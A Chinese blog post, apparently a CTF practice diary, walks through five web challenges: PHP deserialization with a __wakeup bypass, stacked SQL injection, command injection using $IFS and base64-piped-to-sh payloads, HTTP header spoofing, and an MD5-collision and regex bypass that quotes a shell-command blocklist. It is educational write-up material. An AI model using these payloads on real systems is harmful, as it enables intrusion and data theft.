【BUU刷题日记】——第一周
【BUU刷题日记】——第一周
一、[极客大挑战 2019]PHP1
题目说自己有一个备份网站的习惯,所以要了解一下常见的网站源码备份格式及文件名:
格式:tar、tar.gz、zip、rar
文件名:web、website、backup、back、www、wwwroot、temp
排列组合进行尝试之后发现,www.zip文件可以直接下载。
也有的wp上说可以直接扫描网站目录,但是我用dirsearch没有扫到。
下载后进行php代码审计:

class.php:
<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>
定义了一个name类,说明题目意思让我们进行反序列化利用。看__destruct函数可以知道如果username='admin'并且password=100就能得到flag。但是这两个变量被强制赋值为'nonono'和'yesyes',并且在反序列化调用wakeup()函数时还会复制为'guest'。
index.php:
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body> <div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
看php部分知道使用select进行传参。
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
没啥用, 应该编码之后得到flag。
利用
基本payload:
<?php
class Name{
private $username='admin';
private $password = 100;
}
$test=new Name();
echo serialize($test); ?>
为什么Payload中Name类里不写方法,因为在序列化时只针对变量,写上方法也不会被序列化。
输出中,因为$username和$password是私有变量,在输出时会产空白符(在一些输出中也可能是乱码),所以需要加上%00,变为:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
同时我们需要绕过反序列化时调用的wakeup()函数(CVE-2016-7124,PHP5<5.6.25,PHP7 < 7.0.10),即当成员属性数目大于实际数目时即可绕过wakeup()函数,所以将序列化后字符串中原本的2,改为3:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
执行

得到flag。
总结
- 网站一般的备份文件名
- 私有变量序列化后要在变量名前加%00类名%00
- wake_up函数绕过:让变量数量字段的值大于实际的变量数
二、[强网杯 2019]随便注1
先测试一下是什么类型注入:
输入1':

输入1'#:

由此可见是字符型输入,单引号闭合,‘#’注释。
查询字段数:
1' order by 3#

然后order by 2返回正常,说明表中有两个字段。
使用联合注入:
1' union select 1,3#

对一些关键词进行了规避。
使用堆叠注入
通过在语句后加分号实现同时执行两条语句:
1'; show databases;#

查询表名:
1';show tables;#

查询列名:
1';show columns from 1919810931114514;#
无回显,
1';show columns from words;#

不知道两者为啥不一样。网上的wp中提到数据库名使用`进行包围,具体区别:
- `和'在linux下不区分,在windows下区分
- `用于对数据库名、表名、列名进行引用;当字段值和mysql保留字相同,则必须使用反引号进行区分
- '用于对字段值进行应用
于是尝试:
1';show columns from `1919810931114514`;#

看到flag表。
进行利用:
重命名数据库(因为select字段被过滤,所以可以让程序中本来存在的select帮助我们完成查询;因为该语句是在words表中进行查询,所以先将19表现重命名为words,然后将flag字段重命名为id字段):
1';
rename table words to word2;
rename table `1919810931114514` to words;
alter table words change flag id varchar(50);

执行成功。
直接查询表中所有的值:
1' or 1=1 #
因为语句为select * where id = '1' or 1=1#其中1=1恒为真,所以where的条件恒为真,相当于查询表中所有数据。

预编译语句
set @tb = 'student'; //设置表名
set @sql = concat('select * from',@tb); //将表名与查询语句连接,设置sql语句
PREPARE name from @sql; //预定义sql语句
excute name; //执行语句
(DEALLOCATE || DROP) PREPARE sql; 删除语句
本题中可以使用concat()将拆开后的select字符串进行连接,从而规避了对select的过滤:1';
set @sql=concat('se','lect * from1919810931114514');
prepare name from @sql;
excute name;#
### 总结 - 堆叠注入
- 预编译绕过,重命名绕过
- show()查看列名
三、[GXYCTF2019]Ping Ping Ping 1
观察题目猜到应该让我们通过ip传参:
/?ip=127.0.0.1

在命令后再输入一条命令看能不能执行:
/?ip=127.0.0.1;ls

cat一下看看能不能直接查看:
/?ip=127.0.0.1;cat flag.php

说明空格被过滤了。
linux下空格可用这些来替换:<、<>、$IFS

url中可以进行替换:%20(space)、%09(tab)
尝试一下
/?ip=127.0.0.1;cat$IFS$1flag.php

说明可以使用$IFS$1进行绕过。
查看上级路径信息:
/?ip=127.0.0.1;cd$IFS$../;ls

查看index.php
/?ip=127.0.0.1;cat$IFS$1index.php

尝试使用其他方法查看:
使用拷贝文件到另一个文件看看:
/?ip=127.0.0.1;cp$IFS$1flag.php$IFS$1test.php
访问失败。
为了绕过对flag.php关键词的过滤,考虑base64编码:
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
'Y2F0IGZsYWcucGhw'为'cat flag.php'的base64编码格式

不要以为没有成功,直接f12查看源码:

其他方法
看了题解发现还有其他姿势:
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
因为源代码中使用了变量a,所以可以进行替换,从而规避关键词'flag'
使用内联执行,直接对执行ls后的所有文件进行cat:
?ip=127.0.0.1;cat$IFS$9`ls`

总结
- $IFS$1绕过空格过滤
- base64编码命令并执行
- 内联执行
- 变量赋值之后替换原规避字段
四、[极客大挑战 2019]Http1
查看源码

访问之后如下:

提示我们不是来自'https://Sycsecret.buuoj.cn',据此想到浏览器的referer字段:
Referer欺骗
Referer字段:http请求头中的referer字段主要是标识请求端是通过什么路径向该网站进行访问。
例如下图中,我们在bing中随便点击一个其他网页,在该请求头中就会标识Referer为www.bing.com

referer欺骗:是指我们抓包修改请求头的Referer字段,从而对服务器端进行欺骗。可以用在CSRF中,如果服务器端会验证同源策略,那么攻击者就可以referer欺骗。
利用
抓包添加Referer字段,并且将User-Agent改为Syclover(因为Referer欺骗之后页面会让你改浏览器,不再赘述):

发送:

X-Forwarded-For:
X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。因此,我们只需要在包中在在加上:X-Forwarded-For: 127.0.0.1

总结
- 考察了对http几个字段的了解
- referer和x-forwarded-for
五、[安洵杯 2019]easy_web1
观察url
http://dda91009-f620-4ebb-a060-da2e32761ceb.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
可见存在一个base64编码,进行两次解码:
3535352e706e67
16进制转字符串:
555.png
据此,我们可以知道其传参的编码方式,可以通过img参数访问其他文件。
尝试访问index.php
现将字符串'index.php'转化成16进制,然后进行两次base64编码:
img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

源码中出现一堆base64编码,进行解码后:
~~~php
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
观察源码
参数编码部分:
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
php语句过滤:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
}
md5验证:
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
php正则语句绕过
观察正则语句,可以发现绕过了一些cat,ls等查看的命令,再查看反斜杠部分:|\\|\\\\|。在php中想要过滤反斜杠需要过滤\\\\,因为存在两次解析。首先是php的解析,将\\\\解析成\\,然后正则表达式里再将\\解析为\。
但是在本题的反斜杠部分|\\|\\\\|中,首先php将其解析为|\|\\|,然后在正则表达式中再将其解析为||\|,所以最后\并没有被过滤,而是过滤了|\。因此可以使用反斜杠绕过:l\s,c\at。
md5碰撞
md5碰撞在php中分为强比较和弱比较
弱比较
if(md5($A)==md5($B)&&string($A)!=string($B))
数组绕过:$A[]=1,$B[]=2;因为在php中数组没有md5值,所以md5($A)=md5($B)=null
科学计数法绕过:在php的弱比较中,如果等号两边都是0e开头,那么等号会将其作为科学计数法的形式进行比较(0e123在php中就是0的123次方),因为0的任何次方都是0,因此可以绕过弱等于,下面是一些字符串和其对应的md5值:
aabg7XSs
0e087386482136013740957780965295 QNKCDZO
0e830400451993494058024219903391 s878926199a
0e545993274517709034328855841020 s155964671a
0e342768416822451524974117254469
强比较
if(md5($A)===md5($B)&&string($A)!==string($B))
数组绕过:同上
强碰撞:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这两串编码的md5值相同,其产生是将两个非常相似的长字符串(16进制)转化成asccii码然后再写入到二进制文件,这两个文件的md5值相同。然后将文件内容使用url编码即可。
利用
根据上面php正则过滤和md5比较的漏洞可以进行利用:

可以看到dir命令没有被过滤,并且执行成功,说明md5比较部分绕过成功。
下面直接使用cat /flag进行flag的读取,同时需要增加\来过滤规避:

总结
- php正则匹配规则
- php匹配/符号时会解析两次
- md5强比较、弱比较
参考链接:
【BUU刷题日记】——第一周的更多相关文章
- Buu刷题
前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...
- LeetCode刷题专栏第一篇--思维导图&时间安排
昨天是元宵节,过完元宵节相当于这个年正式过完了.不知道大家有没有投入继续投入紧张的学习工作中.年前我想开一个Leetcode刷题专栏,于是发了一个投票想了解大家的需求征集意见.投票于2019年2月1日 ...
- Leetcode | 刷题日记(1)
本文记录个人刷题记录 推荐两个刷题网站: 地址:https://leetcode.com/ 另外一个地址:http://www.lintcode.com/ 1.Write a SQL query to ...
- BUU刷题01
[安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...
- python刷题第三周
以下是本周有所收获的题目 第一题: 第4章-4 验证"哥德巴赫猜想" (20 分) 数学领域著名的"哥德巴赫猜想"的大致意思是:任何一个大于2的偶数总能表示为两 ...
- lightoj刷题日记
提高自己的实力, 也为了证明, 开始板刷lightoj,每天题量>=1: 题目的类型会在这边说明,具体见分页博客: SUM=54; 1000 Greetings from LightOJ [简单 ...
- BUU刷题记录
[GWCTF 2019]mypassword xss+csp 打开页面可以注册登录 登进去提示不是sql注入 然后提示源码 看一下 然后有段后端代码写道了注释里 <!-- if(is_array ...
- LeetCode刷题:第一题 两数之和
从今天开始刷LeetCode 第一题:两数之和 题目描述: 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种 ...
- 刷题日记-JZ25合并有序链表
合并有序链表 递归方式合并链表pHead1,pHead2 base case是 pHead1为空或者pHead2为空 递归方式是 如果pHead1->val < pHead2->va ...
- 周刷题第一期总结(two sum and two numbers)
由于深深的知道自己是事件驱动型的人,一直想补强自己的薄弱环节算法,却完全不知道从哪里入手.所以只能采用最笨的办法,刷题.从刷题中遇到问题就解决问题,最后可能多多少少也能提高一下自己的渣算法吧. 暂时的 ...
随机推荐
- WebAPI公开接口请求签名验证
前言 现在的系统后端开发的时候,会公开很多API接口 对于要登录认证后才能访问的接口,这样的请求验证就由身份认证模块完成 但是也有些接口是对外公开的,没有身份认证的接口 我们怎么保证接口的请求是合法的 ...
- mac shell终端命令行快捷键
Ctrl + d 删除一个字符,相当于通常的Delete键(命令行若无所有字符,则相当于exit:处理多行标准输入时也表示eof) Ctrl + h 退格删除一个字符,相当于通常的Backspace键 ...
- 检测到 #include 错误。请更新 includePath。已为此翻译单元 禁用波形曲线
也有可能是VSCode抽风了 重启就好
- playwright(十三) - PyTest基本使用
我们都知道,在做单元测试框架中有UnitTest和Pytest,前者是Python中自带无需安装,Pytest需要安装,今天我们来讲的就是Pytest,当然如果是做自动化,建议两个都要掌握一下,可 ...
- PerfView专题 (第十三篇):洞察 .NET程序 的非托管句柄泄露
一:背景 1. 讲故事 前几天写了一篇 如何洞察 .NET程序 非托管句柄泄露 的文章,文中使用 WinDbg 的 !htrace 命令实现了句柄泄露的洞察,在文末我也说了,WinDbg 是以侵入式的 ...
- Centos7通过yum源安装Mysql
1.下载并安装MySQL官方的Yum Repository 在CentOS中默认安装有MariaDB,这个是MySQL的分支,但为了需要,还是要在系统中安装MySQL,而且安装完成之后可以直接覆盖掉M ...
- 你真正了解Spring的工作原理吗
Spring 1.1 什么是Spring IOC 和DI ? ① 控制反转(IOC):Spring容器使用了工厂模式为我们创建了所需要的对象,我们使用时不需要自己去创建,直接调用Spring ...
- Cilium系列-14-Cilium NetworkPolicy 简介
系列文章 Cilium 系列文章 前言 今天我们进入 Cilium 安全相关主题, 介绍 Kubernetes 网络策略以及 CiliumNetworkPolicies 额外支持的内容. 网络策略(N ...
- Python | 函数、数据容器
1.函数 函数:是组织好的,可重复使用的,用来实现特定功能的代码段. 1.1 简单案例 重复使用计算字符串的长度 str1 = "heystar" str2 = "pyt ...
- 解决WSL执行systemctl命令报错:Failed to get D-Bus connection
问题描述 笔者通过WSL安装了CentOS7系统,刚开始一切都很顺利.当执行systemctl命令时,却意外报错:Failed to get D-Bus connection: Operation n ...